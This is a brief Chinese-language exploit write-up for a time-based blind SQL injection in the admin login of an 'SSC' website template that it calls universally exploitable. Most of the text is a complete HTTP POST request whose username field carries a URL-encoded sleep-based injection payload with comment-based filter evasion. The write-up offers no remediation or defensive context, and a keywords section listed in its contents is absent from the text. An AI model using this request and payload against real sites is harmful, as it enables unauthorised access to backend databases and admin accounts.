某SSC模板通杀漏洞

目录

0x1漏洞位置

0x2漏洞利用

0x3 漏洞关键词

---

0x1漏洞位置

该漏洞位置位于ssc后台，为登陆处延时注入。

0x2漏洞利用

在登陆过程中抓包获取相关http请求包：

POST /Public.login.do HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 223
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=pcsn8b770h6ibi5nh50vkgs0k5; admin_think_template=admin
Origin: http://xxx
Referer: http://xxxx/Public.login.do
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

do=%C2%A0%E7%99%BB%C2%A0%C2%A0%C2%A0%C2%A0%E5%BD%95%C2%A0&info%5Bname%5D=admin%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27&info%5Bpass%5D=j